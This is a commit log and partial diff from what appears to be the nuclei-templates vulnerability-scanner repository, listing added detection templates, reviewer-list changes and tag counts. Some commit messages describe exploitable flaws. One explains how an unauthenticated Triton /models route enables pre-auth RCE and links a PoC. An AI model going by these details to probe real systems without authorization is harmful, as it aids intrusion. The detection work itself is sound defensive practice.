Move http/CVE-2016-9299.yaml to code/CVE-2016-9299.yaml
2026-07-13 11:04:43 +05:30
ghost 0bf8b37adb chore: sign templates 🤖 2026-07-13 05:34:33 +00:00
Aman Rawat f21854f8fc Merge pull request #16498 from daffainfo/patch-54844
Update and rename zm-system-log-detect.yaml to zoneminder-system-log.…
2026-07-13 11:04:14 +05:30
Dhiyaneshwaran b8dd29c0af Remove commented digest line from CVE-2016-9299.yaml 2026-07-13 10:19:57 +05:30
ghost 65ad359c8d chore: generate templates checksum 🤖 2026-07-13 04:49:57 +00:00
DhiyaneshwaranandCursor ed1e6a985f Merge branch 'main' into patch-747333
Resolve digest/EPSS conflict in CVE-2016-9299 while keeping the code/ path move.

Co-authored-by: Cursor <[email protected]>
2026-07-13 10:18:45 +05:30
ghost 82a1bba02b chore: generate new addition list 🤖 2026-07-13 04:48:13 +00:00
ghost b8874e1c26 chore: generate CVEs metadata 🤖 2026-07-13 04:47:31 +00:00
ghost 729ae1c7be chore: sign templates 🤖 2026-07-13 04:47:22 +00:00
Dhiyaneshwaran 0f6f89cf40 Merge pull request #16558 from projectdiscovery/Akokonunes-patch-7
Add CVE-2026-52774.yaml - YesWiki Bazar Widget XSS
2026-07-13 10:17:04 +05:30
ghost 988cfd7534 chore: sign templates 🤖 2026-07-13 04:44:31 +00:00
Dhiyaneshwaran 45051badae Merge pull request #16549 from daffainfo/patch-468676
Move joomla-com-fabrik-lfi.yaml to new directory
2026-07-13 10:14:11 +05:30
ghost b7adbff89a chore: generate templates checksum 🤖 2026-07-13 04:41:20 +00:00
ghost 0cbfb6b5ce chore: sign templates 🤖 2026-07-13 04:38:23 +00:00
Roberto Nunes 96ee22e112 Merge pull request #16547 from daffainfo/patch-176635
Update and rename nuuno-network-login.yaml to nuuo-network-login.yaml
2026-07-13 13:37:57 +09:00
Roberto Nunes 5a1408ac58 Merge pull request #16530 from daffainfo/patch-503644
Delete duplicate exposed-panels tomcat templates
2026-07-13 13:37:52 +09:00
Dhiyaneshwaran e2d8b6562e Merge branch 'main' into patch-5 2026-07-13 09:52:51 +05:30
Dhiyaneshwaran 4c32f65344 Revise CVE-2026-50229 details and remediation
Updated the description and remediation for CVE-2026-50229, clarifying the XSS vulnerability and affected versions.
2026-07-13 09:46:26 +05:30
Dhiyaneshwaran 7e847442f9 Update authors and tags in apache-tomcat-exposed.yaml 2026-07-13 09:39:57 +05:30
Roberto Nunes 529edf58c3 Add CVE-2026-52774 for YesWiki Bazar Widget XSS 2026-07-13 12:11:49 +09:00
ghost 300f20d7c3 chore: update EPSS scores 🤖 2026-07-13 03:00:55 +00:00
Roberto Nunes 91d9b9d9ae Merge branch 'main' into patch-369864 2026-07-13 11:37:32 +09:00
pussycat0x 7888f32b16 Update joomla-com-fabrik-lfi.yaml 2026-07-13 07:56:22 +05:30
ghost 6994a9cdb6 chore: update KEV and vKEV tags and metadata 🤖 2026-07-12 04:13:24 +00:00
ghost bb29c3a996 chore: update EPSS scores 🤖 2026-07-12 03:00:37 +00:00
panchiko-p 12d6f73e0e Add template for CVE-2026-56290 unauthenticated file upload detection 2026-07-11 12:36:45 -04:00
Aleff 5c3b2de4f0 Merge branch 'main' into cve-2025-55746-directus-file-modification 2026-07-11 11:15:06 +02:00
Rishi c0fc07dc2e Merge branch 'main' into add-ai-ml-gap-templates 2026-07-11 08:34:24 +01:00
rxerium 14025cd73b Update KNIME panel matcher 2026-07-11 08:31:01 +01:00
rxerium 7205ad4a88 ai/llm panels 2026-07-11 08:26:52 +01:00
ghost a6e28fb218 chore: update KEV and vKEV tags and metadata 🤖 2026-07-11 04:03:51 +00:00
ghost e63e538c2a chore: update EPSS scores 🤖 2026-07-11 02:59:56 +00:00
ghost 23f897d679 chore: generate templates checksum 🤖 2026-07-11 00:25:32 +00:00
ghost 9e9c734714 chore: generate new addition list 🤖 2026-07-11 00:23:38 +00:00
ghost 51bab5ca73 chore: sign templates 🤖 2026-07-11 00:22:50 +00:00
Dhiyaneshwaran c4d5aa37df Merge pull request #16543 from rxerium/add-maxkb-panel
Add MaxKB panel detection template
2026-07-11 05:52:29 +05:30
ghost 17315de39e chore: update KEV and vKEV tags and metadata 🤖 2026-07-10 04:23:22 +00:00
ghost 30d0f68cea chore: update EPSS scores 🤖 2026-07-10 03:01:38 +00:00
zy9ard3 c0188ccd0d wix takeover fingerprint update 2026-07-10 08:23:07 +05:30
Muhammad Daffa 0293f53502 Modify CVE-2026-50751.yaml with new reference link
Updated reference URL for CVE-2026-50751 and added details on the remediation.
2026-07-09 20:55:52 +07:00
Muhammad Daffa 730d9d2fb3 Move joomla-com-fabrik-lfi.yaml to new directory 2026-07-08 22:32:26 +07:00
Muhammad Daffa aec6b1acd2 Move http/CVE-2016-9299.yaml to code/CVE-2016-9299.yaml 2026-07-08 22:24:53 +07:00
Muhammad Daffa ced7aade28 Update and rename nuuno-network-login.yaml to nuuo-network-login.yaml 2026-07-08 20:33:41 +07:00
Muhammad Daffa ce55a78f61 Add fuji-xerox-internet-service.yaml file 2026-07-08 20:31:25 +07:00
Aman Rawat 2998912f34 Update minio-default-login.yaml 2026-07-08 11:07:58 +05:30
mrperfectkarak-svg 8bbf3819f6 Update regex for company field in CVE-2026-1731
https://github.com/projectdiscovery/nuclei-templates/issues/16544
2026-07-07 16:53:38 +03:00
Rishi e2c6b14fad Merge branch 'main' into add-maxkb-panel 2026-07-07 11:48:07 +01:00
rxerium 7a8756f373 Remove unrelated CVE templates from MaxKB PR 2026-07-07 11:39:24 +01:00
rxerium b995194325 Add MaxKB panel detection template 2026-07-07 11:35:24 +01:00
Yashar Shahinzadeh ae2a36eee6 Add CVE-2026-50229 Apache Tomcat Number Guess XSS template 2026-07-07 11:21:21 +02:00
Pastaga 2c9223d34b Update MinIO default login configuration
Updated max-request limit and modified shodan-query. Added payloads for login requests and adjusted matchers for response validation.
2026-07-06 21:14:18 +02:00
Eloy a753e2da30 Add selectors to dkim-record-detect.yaml
Based on list from https://github.com/ryancdotorg/dkimscan/blob/master/dkimscan.pl#L310
2026-07-03 11:01:26 +02:00
Th3l0newolf [ Chinmay Divekar] 4f50a540f9 Update description from 'discovered' to 'detected' 2026-07-02 23:59:52 -07:00
Th3l0newolf [ Chinmay Divekar] d330e88601 Add Bitnami Apache Solr Stack technology detection
Added detection for Bitnami Apache Solr Stack welcome page.
2026-07-02 23:54:46 -07:00
Muhammad Daffa 34c3d0dd63 Update and rename tomcat-exposed.yaml to apache-tomcat-exposed.yaml 2026-07-02 17:23:44 +07:00
Muhammad Daffa 06fbf21f28 Delete http/exposed-panels/apache/public-tomcat-manager.yaml 2026-07-02 17:21:29 +07:00
pussycat0x 8ab46c8833 Update CVE-2026-24207.yaml 2026-07-01 23:46:43 +05:30
Dhiyaneshwaran 5f0b13d791 Update CVE-2026-3326.yaml 2026-07-01 12:15:43 +05:30
Andrew Smith fdfe53f269 Merge branch 'projectdiscovery:main' into twitter_fp 2026-06-30 09:37:16 -04:00
Andrew Smith 3022d91fb6 Update twitter-phish.yaml
bugfix and additional checks for more robust matching
2026-06-30 09:36:25 -04:00
HD Moore f93f231ffd Merge branch 'main' into ai-llm-detect-templates 2026-06-29 21:00:00 -05:00
gnuletik 33a2218909 fix(CVE-2025-29635): invalid matcher type 2026-06-29 22:29:10 +02:00
Dhiyaneshwaran ab3283e629 Refactor CVE-2024-34351.yaml for improved checks 2026-06-29 16:28:01 +05:30
Dhiyaneshwaran 547ec7159e Update CVE-2024-34351.yaml with new configurations
Updated max-request limit and added new tags. Modified HTTP request matchers and extractors for improved functionality.
2026-06-29 15:24:16 +05:30
Muhammad Daffa a6eb755f54 Update and rename zm-system-log-detect.yaml to zoneminder-system-log.yaml 2026-06-29 15:46:24 +07:00
Dhiyaneshwaran 2124daaeb2 Add additional paths to Keycloak admin panel config 2026-06-29 10:24:03 +05:30
VixianSchool 54c8b05803 feat: add CVE-2026-3326 - XStore Theme < 9.7.3 Unauthenticated SQL Injection 2026-06-28 14:24:47 +03:00
VixianSchool 873ce12d85 feat: add CVE-2026-24207 NVIDIA Triton SageMaker auth bypass
NVIDIA Triton Inference Server <= 26.02 does not enforce the
--http-restricted-api configuration on the /models route, allowing
unauthenticated access to the model-management API. Combined with the
Python-backend LOAD primitive, this enables pre-auth RCE.

Detection: confirm Triton via /v2/health/ready (http/1), then probe
/models without auth header (http/2). Vulnerable if 200/404 with no
'This API is restricted' in the response.

PoC: https://github.com/offseckit/CVE-2026-24207
2026-06-28 08:26:21 +03:00
fsoppelsa fbcaaf9be5 Add vLLM OpenAI-compatible API unauthenticated exposure template 2026-06-27 19:59:20 +02:00
Stas Shilov 139fec016e fix: remove trailing spaces in dameng-detect.yaml 2026-06-26 01:32:15 +03:00
Stas Shilov 4a7fb4f47a fix lint - use String.fromCharCode(0) instead of literal null byte 2026-06-26 01:23:55 +03:00
Stas Shilov e7525b5cea fix lint - zero byte 2026-06-26 01:14:44 +03:00
Stas Shilov 0a73fb00ad fix dameng-detect: use positive signature to avoid false positives 2026-06-26 00:36:59 +03:00
ashvinctrl 5b9d0b1b28 fix(mongodb-unauth): use OP_MSG instead of removed OP_QUERY opcode
MongoDB 6.0+ removed support for the legacy OP_QUERY opcode for commands.
The template's getLog probe therefore returns "Unsupported OP_QUERY
command: getLog. The client driver may require an upgrade." and no longer
matches unauthenticated instances (false negative, #16294).

Switch the probe to OP_MSG (opcode 2013) carrying
{getLog: "startupWarnings", $db: "admin"}. The matcher (totalLinesWritten)
is unchanged.

Verified locally against MongoDB 8.3.4: the template matches an
unauthenticated instance and does not match an instance started with
--auth (no false positive).
2026-06-24 15:12:49 +05:30
HD Moore 63a2afd8d4 Add AI/LLM inference + MCP server detection templates
14 new http/technologies templates for self-hosted AI/LLM infrastructure and the
Model Context Protocol, plus a TorchServe enrichment: ollama, vllm,
openai-compatible-api, lmstudio, sglang, tgi, tei, koboldcpp, jan, open-webui,
librechat, flowise, anythingllm, mcp-server (and torchserve-detect management-API
model enumeration).

All info severity, read-only metadata endpoints only (the MCP template performs
just the JSON-RPC initialize handshake, never tools/call), nuclei -validate clean,
and true/false-positive tested against mock servers. Detection logic is derived
from nmap-ai-recon by Ben Williams (@insidetrust); each template credits that
origin in a leading comment.
2026-06-20 20:05:07 -05:00
rxerium 321fd7b9ef Add Splunk Enterprise missing auth CVE-2026-20253 detection template 2026-06-13 17:52:01 +01:00
Andrew Smith 445e0a1a20 Update twitter-phish.yaml 2026-06-09 16:45:23 -04:00
Th3l0newolf [ Chinmay Divekar] ba3b32cedb Add Kestra Login Panel detection 2026-06-09 10:15:27 -07:00
Morgan Robertson e3a7cad874 Enrich perforce templates 2026-06-07 18:36:06 +10:00
WRG-11 88c16d3c0f Create CVE-2026-31831.yaml 2026-06-05 03:28:06 +03:00
Th3l0newolf [ Chinmay Divekar] a93dfb9fa1 Add Unauthenticated access to SeaweedFS Filer panel
This configuration file describes the SeaweedFS Filer panel with critical unauthenticated access vulnerabilities.
2026-05-29 02:02:52 -07:00
rxerium fad69d81f1 refactor(CVE-2026-0300): simplify DSL matchers using compare_versions range checks 2026-05-25 14:35:39 +01:00
Rishi 96ca8d55ad Merge branch 'main' into add-cve-2026-0300 2026-05-25 14:33:39 +01:00
aleff-github 7342fe40f6 Add Directus CVE-2025-55746 template 2026-05-16 18:09:30 +02:00
PachkaKofe04 6ed23ed763 Convert geovision-geowebserver-lfi-xss to CVE-2021-47795 2026-05-13 14:35:28 +05:00
rxerium d025b7745a fix trailing whitespace in CVE-2026-0300 template 2026-05-10 19:28:15 +01:00
Rishi 44d43ab6df Merge branch 'main' into add-cve-2026-0300 2026-05-10 19:11:03 +01:00
pussycat0x 8e4ec216c1 Create CVE-2025-2505.yaml 2026-05-07 16:55:07 +05:30
rxerium 75fab39b51 Add CVE-2026-0300 PAN-OS Captive Portal buffer overflow detection template 2026-05-06 11:22:07 +01:00
Chris (ChrisJr404) 9b2f56bbe0 Add CVE-2024-42323 - Apache HertzBeat SnakeYAML deserialization RCE 2026-05-02 13:47:18 -04:00
Chris (ChrisJr404) 81476ed785 Add CVE-2024-56511 - DataEase whitelist path-traversal authentication bypass 2026-05-02 13:17:37 -04:00
0xP3n ae4081e57f Add CVE-2025-54988: Apache Tika XXE Injection
- Added nuclei template for CVE-2025-54988 (Apache Tika XXE Injection)
- CVSS 9.8 Critical (CWE-611)
- Affects Apache Tika versions 1.13 through 3.2.1
- Detects Apache Tika server and tests PDF parsing endpoint

Ref: https://nvd.nist.gov/vuln/detail/CVE-2025-54988
2026-04-27 17:54:03 +08:00
hugo-syn 6d1fde1848 feat: add body fuzzing to DAST and add POST/PUT methods 2026-04-17 11:01:03 +02:00
Dhiyaneshwaran 387de06a81 Delete network/cves/2024/CVE-2024-23108.yaml 2025-11-19 04:00:10 +05:30
Jaenact 984ff7752e fix(unix-command-injection): regex enter 2025-08-13 18:03:34 +09:00
Jaenact c99b3d66f4 fix: add request definition, set author, strengthen metadata/matchers 2025-08-13 17:58:50 +09:00
Jaenact d5e2f06a9a add command-injection 2025-08-07 09:55:19 +09:00
Thacien 2a0fa983fd Merge branch 'main' into CVE-2023-34992 2024-07-17 22:33:51 -06:00
resume a1e721457d Added CVE-2023-34992 and CVE-2024-23108 Templates 2024-07-17 21:44:32 -06:00
4274 changed files with 30808 additions and 22408 deletions

No files matched your search

-2
View File
@@ -7,7 +7,6 @@ addAssignees: false
# A list of reviewers to be added to pull requests (GitHub user name)
reviewers:
- ritikchaddha
- pussycat0x
- DhiyaneshGeek
# A number of reviewers added to the pull request
@@ -16,7 +15,6 @@ numberOfReviewers: 1
# A list of assignees, overrides reviewers if set
assignees:
- pussycat0x
- ritikchaddha
- DhiyaneshGeek
+2 -2
View File
@@ -7,8 +7,8 @@ password = sys.argv[3]
repo_owner = "projectdiscovery"
repo_name = "nuclei-templates"
pr_user_list = ["pussycat0x", "DhiyaneshGeek", "ritikchaddha"]
issue_user_list = ["DhiyaneshGeek", "ritikchaddha", "pussycat0x", "princechaddha"]
pr_user_list = ["DhiyaneshGeek", "ritikchaddha"]
issue_user_list = ["DhiyaneshGeek", "ritikchaddha", "princechaddha"]
headers = {'Authorization': f'Bearer {password}',
'Accept': 'application/vnd.github+json',
+2 -2
View File
@@ -29,10 +29,10 @@ jobs:
// ======= CONFIG: put your user pools here =======
// Usernames must be GitHub logins and collaborators on this repo.
const ISSUE_ASSIGNEES = [
"pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
"ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
];
const REVIEW_POOL = [
"pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
"ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
];
const LOOKBACK_DAYS = 7; // only used as a tie-break fairness metric
// ================================================
+122 -62
View File
@@ -1,62 +1,122 @@
dns/dns-internal-ip-disclosure.yaml
http/cves/2026/CVE-2026-10823.yaml
http/cves/2026/CVE-2026-13731.yaml
http/cves/2026/CVE-2026-1890.yaml
http/cves/2026/CVE-2026-22778.yaml
http/cves/2026/CVE-2026-28496.yaml
http/cves/2026/CVE-2026-30958.yaml
http/cves/2026/CVE-2026-34413.yaml
http/cves/2026/CVE-2026-48282.yaml
http/cves/2026/CVE-2026-48313.yaml
http/cves/2026/CVE-2026-48611.yaml
http/cves/2026/CVE-2026-52815.yaml
http/cves/2026/CVE-2026-56782.yaml
http/cves/2026/CVE-2026-8037.yaml
http/cves/2026/CVE-2026-8383.yaml
http/cves/2026/cve-2026-44381.yaml
http/default-logins/dahua/dahua-icc-default-login.yaml
http/exposed-panels/array-networks-ssl-vpn-panel.yaml
http/exposed-panels/aruba-via-vpn-panel.yaml
http/exposed-panels/cradlepoint-gateway-panel.yaml
http/exposed-panels/ctrlpanel-panel.yaml
http/exposed-panels/cyberoam-firewall-panel.yaml
http/exposed-panels/ddwrt-panel.yaml
http/exposed-panels/ecessa-panel.yaml
http/exposed-panels/elfiq-panel.yaml
http/exposed-panels/endian-firewall-panel.yaml
http/exposed-panels/featherpanel-panel.yaml
http/exposed-panels/firemon-asset-manager-panel.yaml
http/exposed-panels/fortinet-fortianalyzer-panel.yaml
http/exposed-panels/headscale-panel.yaml
http/exposed-panels/hillstone-ssl-vpn-panel.yaml
http/exposed-panels/jotty-page-login-panel.yaml
http/exposed-panels/netgate-pfsenseplus-panel.yaml
http/exposed-panels/netsweeper-webadmin-panel.yaml
http/exposed-panels/nuage-networks-vsp-panel.yaml
http/exposed-panels/ocserv-panel.yaml
http/exposed-panels/peplink-incontrol-panel.yaml
http/exposed-panels/sangfor-iam-panel.yaml
http/exposed-panels/sangfor-ngaf-panel.yaml
http/exposed-panels/silver-peak-edgeconnect-panel.yaml
http/exposed-panels/sma-opcon-panel.yaml
http/exposed-panels/smoothwall-firewall-panel.yaml
http/exposed-panels/sonicwall-analytics-panel.yaml
http/exposed-panels/sophos-utm-panel.yaml
http/exposed-panels/stormshield-network-security-panel.yaml
http/exposed-panels/thegreenbowvpn-panel.yaml
http/exposed-panels/trend-micro-deep-security-panel.yaml
http/exposed-panels/ubiquiti-edgerouter-panel.yaml
http/exposed-panels/unifi-securitygateway-panel.yaml
http/exposed-panels/wg-easy-panel.yaml
http/exposed-panels/zywall-usg-panel.yaml
http/iot/openremote-detect.yaml
http/misconfiguration/installer/ctrlpanel-installer.yaml
http/misconfiguration/marimo-auth-bypass.yaml
http/takeovers/godaddy-parked-domain.yaml
http/technologies/google-iap-detect.yaml
http/technologies/tibco-businessworks-detect.yaml
http/vulnerabilities/weaver/ecology/ecology-execforstr-rce.yaml
http/vulnerabilities/weaver/weaver-ecology9-doc-list-sqli.yaml
http/vulnerabilities/weaver/weaver-getemdslist-disclosure.yaml
javascript/cves/2025/CVE-2025-29635.yaml
network/misconfig/open-socks-proxy.yaml
code/linux/audit/apport-error-reporting-disabled-check.yaml
code/linux/audit/gdm-automount-removable-media-disabled-check.yaml
code/linux/audit/gdm-autorun-never-enabled-check.yaml
code/linux/audit/gdm-disable-user-list-enabled-check.yaml
code/linux/audit/gdm-login-banner-configured-check.yaml
code/linux/audit/gdm-removed-check.yaml
code/linux/audit/gdm-screen-lock-idle-check.yaml
code/linux/audit/issue-file-permissions-check.yaml
code/linux/audit/issue-net-file-permissions-check.yaml
code/linux/audit/local-login-warning-banner-configured-check.yaml
code/linux/audit/motd-configured-properly-check.yaml
code/linux/audit/motd-file-permissions-check.yaml
code/linux/audit/prelink-not-installed-check.yaml
code/linux/audit/remote-login-warning-banner-configured-check.yaml
dast/vulnerabilities/injection/unix-command-injection.yaml
dast/vulnerabilities/injection/windows-command-injection.yaml
http/cves/2019/CVE-2019-14793.yaml
http/cves/2024/CVE-2024-42323.yaml
http/cves/2024/CVE-2024-56511.yaml
http/cves/2025/CVE-2025-2505.yaml
http/cves/2025/CVE-2025-54988.yaml
http/cves/2025/CVE-2025-55746.yaml
http/cves/2025/CVE-2025-6389.yaml
http/cves/2025/CVE-2025-68493.yaml
http/cves/2025/CVE-2025-71334.yaml
http/cves/2026/CVE-2025-14047.yaml
http/cves/2026/CVE-2026-15094.yaml
http/cves/2026/CVE-2026-1830.yaml
http/cves/2026/CVE-2026-1980.yaml
http/cves/2026/CVE-2026-22683.yaml
http/cves/2026/CVE-2026-23696.yaml
http/cves/2026/CVE-2026-30623.yaml
http/cves/2026/CVE-2026-31831.yaml
http/cves/2026/CVE-2026-3296.yaml
http/cves/2026/CVE-2026-3335.yaml
http/cves/2026/CVE-2026-33497.yaml
http/cves/2026/CVE-2026-34036.yaml
http/cves/2026/CVE-2026-3891.yaml
http/cves/2026/CVE-2026-39468.yaml
http/cves/2026/CVE-2026-42796.yaml
http/cves/2026/CVE-2026-44825.yaml
http/cves/2026/CVE-2026-46442.yaml
http/cves/2026/CVE-2026-4987.yaml
http/cves/2026/CVE-2026-49952.yaml
http/cves/2026/CVE-2026-52773.yaml
http/cves/2026/CVE-2026-52824.yaml
http/cves/2026/CVE-2026-54836.yaml
http/cves/2026/CVE-2026-55450.yaml
http/cves/2026/CVE-2026-56290.yaml
http/cves/2026/CVE-2026-56291.yaml
http/cves/2026/CVE-2026-58455.yaml
http/cves/2026/CVE-2026-60004.yaml
http/cves/2026/CVE-2026-63030.yaml
http/cves/2026/CVE-2026-65694.yaml
http/cves/2026/CVE-2026-6875.yaml
http/cves/2026/CVE-2026-8385.yaml
http/cves/2026/CVE-2026-8713.yaml
http/cves/2026/CVE-2026-8732.yaml
http/cves/2026/CVE-2026-9198.yaml
http/cves/2026/CVE-2026-9282.yaml
http/default-logins/alibaba/sentinel-default-login.yaml
http/default-logins/decolua/9router-default-login.yaml
http/exposed-panels/aim-panel.yaml
http/exposed-panels/arthas-web-console.yaml
http/exposed-panels/aruba-airwave-panel.yaml
http/exposed-panels/asustor-adm-panel.yaml
http/exposed-panels/atera-customer-portal.yaml
http/exposed-panels/bizzy-panel.yaml
http/exposed-panels/buffalo-terastation-pro-panel.yaml
http/exposed-panels/chatwoot-login-panel.yaml
http/exposed-panels/compreface-panel.yaml
http/exposed-panels/cribl-stream-panel.yaml
http/exposed-panels/cyberark-pvwa-panel.yaml
http/exposed-panels/deepstack-panel.yaml
http/exposed-panels/delinea-secret-server-panel.yaml
http/exposed-panels/determined-ai-panel.yaml
http/exposed-panels/fastchat-panel.yaml
http/exposed-panels/fiftyone-panel.yaml
http/exposed-panels/fooocus-panel.yaml
http/exposed-panels/h2o-driverless-ai-panel.yaml
http/exposed-panels/helicone-panel.yaml
http/exposed-panels/kaseya-vsa-login-panel.yaml
http/exposed-panels/knime-server-panel.yaml
http/exposed-panels/kubeflow-katib-panel.yaml
http/exposed-panels/langtrace-panel.yaml
http/exposed-panels/nakivo-backup-replication-panel.yaml
http/exposed-panels/one-identity-safeguard-spp-panel.yaml
http/exposed-panels/pingfederate-login-panel.yaml
http/exposed-panels/prodigy-panel.yaml
http/exposed-panels/rubrik-panel.yaml
http/exposed-panels/rustdesk-server-pro-panel.yaml
http/exposed-panels/sailpoint-identityiq-panel.yaml
http/exposed-panels/scale-computing-hc3-panel.yaml
http/exposed-panels/schneider-ecostruxure-building-operation-webstation-panel.yaml
http/exposed-panels/signoz-panel.yaml
http/exposed-panels/simplehelp-login-panel.yaml
http/exposed-panels/sonicwall-sma-panel.yaml
http/exposed-panels/tenable-sc-panel.yaml
http/exposed-panels/unitrends-recovery-series-panel.yaml
http/exposed-panels/verba-panel.yaml
http/exposed-panels/vermeg-solife-panel.yaml
http/exposed-panels/xcp-ng-xo-lite-panel.yaml
http/exposed-panels/xen-orchestra-panel.yaml
http/exposures/apis/vllm-openai-api-exposed.yaml
http/exposures/configs/claude-settings-exposure.yaml
http/technologies/abb-ability-genix-detect.yaml
http/technologies/cockroachdb-detect.yaml
http/technologies/deskpro-default-page.yaml
http/technologies/deskpro-on-default-page.yaml
http/technologies/huggingface-tei-tgi-detect.yaml
http/technologies/jan-detect.yaml
http/technologies/pingaccess-detect.yaml
http/technologies/qdrant-detect.yaml
http/technologies/rasa-detect.yaml
http/technologies/seldon-core-detect.yaml
http/technologies/sglang-detect.yaml
http/technologies/vespa-detect.yaml
javascript/cves/2026/CVE-2026-15409.yaml
javascript/cves/2026/CVE-2026-16232.yaml
javascript/cves/2026/CVE-2026-48908.yaml
javascript/cves/2026/CVE-2026-48909.yaml
network/cves/2023/CVE-2023-34992.yaml
+1 -1
View File
@@ -1 +1 @@
{"tags":[{"name":"vuln","count":6626},{"name":"cve","count":4283},{"name":"discovery","count":3729},{"name":"vkev","count":1795},{"name":"wordpress","count":1656},{"name":"panel","count":1537},{"name":"wp-plugin","count":1473},{"name":"exposure","count":1456},{"name":"xss","count":1409},{"name":"osint","count":1131},{"name":"misconfig","count":986},{"name":"rce","count":967},{"name":"tech","count":947},{"name":"wp","count":925},{"name":"lfi","count":857},{"name":"detect","count":765},{"name":"devops","count":752},{"name":"cloud","count":718},{"name":"unauth","count":659},{"name":"cve2024","count":625},{"name":"edb","count":597},{"name":"wpscan","count":597},{"name":"cve2021","count":595},{"name":"sqli","count":591},{"name":"cve2023","count":571},{"name":"cve2022","count":570},{"name":"packetstorm","count":552},{"name":"authenticated","count":546},{"name":"login","count":525},{"name":"intrusive","count":525},{"name":"kev","count":516},{"name":"cve2025","count":413},{"name":"phishing","count":402},{"name":"file","count":392},{"name":"network","count":387},{"name":"oast","count":357},{"name":"default-login","count":336},{"name":"cve2020","count":325},{"name":"config","count":323},{"name":"auth-bypass","count":283},{"name":"apache","count":282},{"name":"tcp","count":271},{"name":"microsoft","count":258},{"name":"token-spray","count":247},{"name":"top-200","count":235},{"name":"gcp","count":234},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"token","count":226},{"name":"gcloud","count":226},{"name":"cve2019","count":223},{"name":"iot","count":216},{"name":"malware","count":214},{"name":"azure","count":213},{"name":"","count":213},{"name":"cve2018","count":205},{"name":"aws","count":196},{"name":"ssrf","count":195},{"name":"time-based-sqli","count":194},{"name":"csp-bypass","count":192},{"name":"code","count":192},{"name":"azure-cloud-config","count":191},{"name":"cve2026","count":190},{"name":"redirect","count":185},{"name":"install","count":180},{"name":"amazon","count":175},{"name":"security","count":164},{"name":"keys","count":159},{"name":"disclosure","count":156},{"name":"local","count":155},{"name":"joomla","count":154},{"name":"aws-cloud-config","count":147},{"name":"cms","count":141},{"name":"linux","count":140},{"name":"router","count":139},{"name":"ftp","count":137},{"name":"files","count":133},{"name":"cve2017","count":131},{"name":"ai","count":131},{"name":"audit","count":122},{"name":"kubernetes","count":121},{"name":"js","count":119},{"name":"cve2010","count":115},{"name":"file-upload","count":113},{"name":"fpd","count":108},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"passive","count":99},{"name":"debug","count":98},{"name":"oss","count":97},{"name":"windows-audit","count":95},{"name":"oracle","count":92},{"name":"enum","count":90},{"name":"privesc","count":88},{"name":"cisco","count":88},{"name":"seclists","count":88},{"name":"windows","count":85},{"name":"takeover","count":81},{"name":"fileupload","count":78},{"name":"k8s","count":77},{"name":"adobe","count":75},{"name":"deserialization","count":74},{"name":"detection","count":71},{"name":"traversal","count":69},{"name":"vmware","count":68},{"name":"ics","count":68},{"name":"google","count":67},{"name":"cve2015","count":66},{"name":"logs","count":65},{"name":"atlassian","count":65},{"name":"huntr","count":64},{"name":"cve2016","count":64},{"name":"oob","count":63},{"name":"php","count":63},{"name":"ir","count":63},{"name":"alibaba","count":62},{"name":"c2","count":61},{"name":"api","count":60},{"name":"dast","count":57},{"name":"cve2014","count":55},{"name":"ssh","count":55},{"name":"aem","count":53},{"name":"ssti","count":53},{"name":"misc","count":52},{"name":"fortinet","count":52},{"name":"sap","count":52},{"name":"injection","count":52},{"name":"ibm","count":51},{"name":"generic","count":50},{"name":"plugin","count":50},{"name":"osint-gaming","count":49},{"name":"ecommerce","count":49},{"name":"log4j","count":48},{"name":"info-leak","count":48},{"name":"tenable","count":48},{"name":"wp-theme","count":48},{"name":"xxe","count":47},{"name":"springboot","count":46},{"name":"cnvd","count":46},{"name":"vulhub","count":46},{"name":"hackerone","count":46},{"name":"aliyun","count":45},{"name":"firewall","count":45},{"name":"jndi","count":45},{"name":"listing","count":44},{"name":"kisa","count":44},{"name":"dns","count":44},{"name":"ssl","count":44},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"postgresql","count":42},{"name":"bank","count":42},{"name":"dashboard","count":42},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"k8s-cluster-security","count":42},{"name":"tls","count":41},{"name":"devsecops","count":39},{"name":"jira","count":39},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"scada","count":38},{"name":"vpn","count":38},{"name":"xwiki","count":38},{"name":"graphql","count":37},{"name":"osint-coding","count":36}Line truncated
{"tags":[{"name":"vuln","count":6631},{"name":"cve","count":4300},{"name":"discovery","count":3731},{"name":"vkev","count":1805},{"name":"wordpress","count":1657},{"name":"panel","count":1569},{"name":"wp-plugin","count":1473},{"name":"exposure","count":1466},{"name":"xss","count":1411},{"name":"osint","count":1131},{"name":"misconfig","count":997},{"name":"rce","count":975},{"name":"tech","count":950},{"name":"wp","count":925},{"name":"lfi","count":859},{"name":"detect","count":774},{"name":"devops","count":752},{"name":"cloud","count":720},{"name":"unauth","count":668},{"name":"cve2024","count":625},{"name":"wpscan","count":596},{"name":"edb","count":596},{"name":"sqli","count":595},{"name":"cve2021","count":595},{"name":"cve2023","count":571},{"name":"cve2022","count":570},{"name":"packetstorm","count":552},{"name":"authenticated","count":546},{"name":"login","count":531},{"name":"intrusive","count":526},{"name":"kev","count":519},{"name":"cve2025","count":414},{"name":"phishing","count":402},{"name":"network","count":395},{"name":"file","count":392},{"name":"oast","count":358},{"name":"default-login","count":337},{"name":"cve2020","count":325},{"name":"config","count":323},{"name":"auth-bypass","count":285},{"name":"apache","count":283},{"name":"tcp","count":271},{"name":"microsoft","count":258},{"name":"token-spray","count":247},{"name":"top-200","count":235},{"name":"gcp","count":234},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"token","count":226},{"name":"gcloud","count":226},{"name":"cve2019","count":223},{"name":"","count":218},{"name":"iot","count":217},{"name":"malware","count":214},{"name":"azure","count":213},{"name":"cve2026","count":206},{"name":"cve2018","count":205},{"name":"aws","count":196},{"name":"ssrf","count":195},{"name":"time-based-sqli","count":194},{"name":"code","count":192},{"name":"csp-bypass","count":192},{"name":"azure-cloud-config","count":191},{"name":"redirect","count":185},{"name":"install","count":183},{"name":"amazon","count":175},{"name":"security","count":164},{"name":"keys","count":159},{"name":"disclosure","count":158},{"name":"local","count":155},{"name":"joomla","count":154},{"name":"aws-cloud-config","count":147},{"name":"router","count":142},{"name":"cms","count":140},